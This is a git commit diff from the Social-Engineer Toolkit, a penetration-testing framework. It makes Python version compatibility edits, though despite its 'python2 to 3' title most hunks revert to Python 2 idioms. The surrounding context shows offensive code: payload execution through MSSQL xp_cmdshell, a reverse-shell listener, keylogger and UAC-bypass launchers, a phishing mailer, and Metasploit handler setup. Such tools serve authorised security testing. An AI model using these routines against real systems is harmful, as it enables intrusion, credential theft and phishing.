fixes for python2 to 3

This commit is contained in:
TrustedSec 2016-01-14 17:23:42 -05:00
parent 12f5294374
commit 9410cd778b
9 changed files with 41 additions and 37 deletions

View file

@ -483,6 +483,7 @@ try:
data = fileopen.read()
if payloadgen != "solo":
# base64 1
data = str(data)
data = base64.b64encode(data)
# encode it again for the fun 2
data = base64.b64encode(data)

View file

@ -1914,3 +1914,6 @@ def module_reload(module):
importlib.reload(module)
else:
reload(module)
def input(string):
return raw_input(string)

View file

@ -334,7 +334,7 @@ def deploy_hex2binary(ipaddr, port, username, password):
try:
reload(thread)
except:
import _thread
import thread
# execute the payload
# we append more commands if option 1 is used
@ -342,14 +342,14 @@ def deploy_hex2binary(ipaddr, port, username, password):
print_status("Triggering the powershell injection payload... ")
sql_command = ("exec master..xp_cmdshell '%s'" % (powershell_command))
#mssql.sql_query("exec master..xp_cmdshell '%s'" % (powershell_command))
_thread.start_new_thread(mssql.sql_query, (sql_command,))
thread.start_new_thread(mssql.sql_query, (sql_command,))
# using the old method
if option == "2":
print_status("Triggering payload stager...")
sql_command = ("xp_cmdshell '%s'" % (random_exe))
# start thread of SQL command that executes payload
_thread.start_new_thread(mssql.sql_query, (sql_command,))
thread.start_new_thread(mssql.sql_query, (sql_command,))
time.sleep(1)
# if pexpect doesnt exit right then it freaks out

View file

@ -5,8 +5,8 @@ import re
import socket
import subprocess
from src.core.setcore import *
import _thread
import socketserver
import thread
#import socketserver
import shutil
import re
import threading
@ -297,8 +297,8 @@ def web_server_start():
target=webserver.start_server, args=(web_port, path))
p.start()
except Exception:
import _thread
_thread.start_new_thread(
import thread
thread.start_new_thread(
webserver.start_server, (web_port, path))
# Handle KeyboardInterrupt

View file

@ -4,7 +4,7 @@ import os
import threading
import sys
import re
import _thread
import thread
import time
import select
import base64
@ -325,7 +325,7 @@ def start_listener():
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
sys.exit() # exit_set()
@ -640,7 +640,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
sys.exit()
@ -705,7 +705,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
sys.exit() # exit_set()
@ -1296,7 +1296,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
sys.exit() # exit_set()
@ -1305,7 +1305,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
print_status(
@ -1391,7 +1391,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
# addr = addr.replace(":WINDOWS", "")
# call our shell handler
_thread.start_new_thread(
thread.start_new_thread(
handle_connection, (conn, addr, encryption, operating_system))
# increment dict_point until we hit choice
@ -1504,7 +1504,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
except TypeError as e: # except typerrors
@ -1512,7 +1512,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
except Exception as e: # handle exceptions
@ -1521,7 +1521,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
# handle control-c
@ -1537,7 +1537,7 @@ Example: shellcode <enter> - Then paste your shellcode \x41\x41\etc
garbage1 = ""
garbage2 = ""
garbage3 = ""
_thread.start_new_thread(
thread.start_new_thread(
call_connections, (d, garbage1, garbage2, garbage3))
log(e)
sys.exit()

View file

@ -7,7 +7,7 @@ import base64
import binascii
import threading
import select
import _thread
import thread
import time
import random
import string
@ -814,7 +814,7 @@ try:
# to leverage SET interactive shell.
# this starts the main routine which is where we get all
# our port forward stuff
_thread.start_new_thread(
thread.start_new_thread(
main, (garbage_one, garbage_two, garbage_three))
# except exception
@ -874,7 +874,7 @@ try:
#
# start a new thread
#
_thread.start_new_thread(getsystem, (set_payload, ipaddr))
thread.start_new_thread(getsystem, (set_payload, ipaddr))
# handle error messages
except Exception as e:
@ -914,7 +914,7 @@ try:
garbage3 = ""
# start the keystroke logger
_thread.start_new_thread(
thread.start_new_thread(
start_keystroke, (garbage1, garbage2, garbage3))
# dump keystrokes
@ -1002,7 +1002,7 @@ try:
#
# start a new thread
#
_thread.start_new_thread(
thread.start_new_thread(
launch_uac, (bypassuac, set_payload, ipaddr))
# handle error messages

View file

@ -10,7 +10,7 @@ import glob
import random
import pexpect
import base64
import _thread
import thread
from io import StringIO
from email.MIMEMultipart import MIMEMultipart
@ -22,7 +22,7 @@ from email import Charset
from email import Encoders
# DEFINE SENDMAIL CONFIG
sendmail = 0
sendmail_file = file("/etc/setoolkit/set.config", "r").readlines()
sendmail_file = open("/etc/setoolkit/set.config", "r").readlines()
from src.core.setcore import *
@ -195,7 +195,7 @@ if option1 == '1' or option1 == '2':
if template_choice == '1':
# set path for
path = 'src/templates/'
filewrite = file(setdir + "/email.templates", "w")
filewrite = open(setdir + "/email.templates", "w")
counter = 0
# Pull all files in the templates directory
for infile in glob.glob(os.path.join(path, '*.template')):
@ -208,14 +208,14 @@ if option1 == '1' or option1 == '2':
# close the file
filewrite.close()
# read in formatted filenames
fileread = file(setdir + "/email.templates", "r").readlines()
fileread = open(setdir + "/email.templates", "r").readlines()
print_info("Available templates:")
for line in fileread:
line = line.rstrip()
line = line.split(" ")
filename = line[0]
# read in file
fileread2 = file("src/templates/%s" % (filename), "r").readlines()
fileread2 = open("src/templates/%s" % (filename), "r").readlines()
for line2 in fileread2:
match = re.search("SUBJECT=", line2)
if match:
@ -236,7 +236,7 @@ if option1 == '1' or option1 == '2':
if match:
# print line[0]
extract = line[0]
fileopen = file("src/templates/" +
fileopen = open("src/templates/" +
str(extract), "r").readlines()
for line2 in fileopen:
match2 = re.search("SUBJECT=", line2)
@ -404,18 +404,18 @@ def mail(to, subject, text, attach, prioflag1, prioflag2):
print(str(e))
try:
mailServer.login(provideremail, pwd)
_thread.start_new_thread(mailServer.sendmail(
thread.start_new_thread(mailServer.sendmail(
from_address, to, io.getvalue()))
except Exception as e:
return_continue()
if email_provider == "hotmail":
mailServer.login(provideruser, pwd)
_thread.start_new_thread(mailServer.sendmail,
thread.start_new_thread(mailServer.sendmail,
(from_address, to, io.getvalue()))
if sendmail == 1:
_thread.start_new_thread(mailServer.sendmail,
thread.start_new_thread(mailServer.sendmail,
(from_address, to, io.getvalue()))
if option1 == '1':
@ -429,7 +429,7 @@ if option1 == '1':
if option1 == '2':
counter = 0
email_num = 0
fileopen = file(filepath, "r").readlines()
fileopen = open(filepath, "r").readlines()
for line in fileopen:
to = line.rstrip()
mail("%s" % (to),
@ -457,13 +457,13 @@ if not os.path.isfile(setdir + "/template.zip"):
child.close()
if os.path.isfile(setdir + "/payload.options"):
fileopen = file(setdir + "/payload.options", "r").readlines()
fileopen = open(setdir + "/payload.options", "r").readlines()
for line in fileopen:
line = line.rstrip()
line = line.split(" ")
# CREATE THE LISTENER HERE
filewrite = file(setdir + "/meta_config", "w")
filewrite = open(setdir + "/meta_config", "w")
filewrite.write("use exploit/multi/handler\n")
filewrite.write("set PAYLOAD " + line[0] + "\n")
filewrite.write("set LHOST " + line[1] + "\n")

View file

@ -3,7 +3,6 @@ import smtplib
import os
import getpass
import sys
import _thread
import subprocess
import re
import glob

View file

@ -10,7 +10,8 @@ import sys
import time
import re
import shutil
import urllib.request, urllib.parse, urllib.error
#import urllib.request, urllib.parse, urllib.error
import urllib
operating_system = check_os()
definepath = os.getcwd()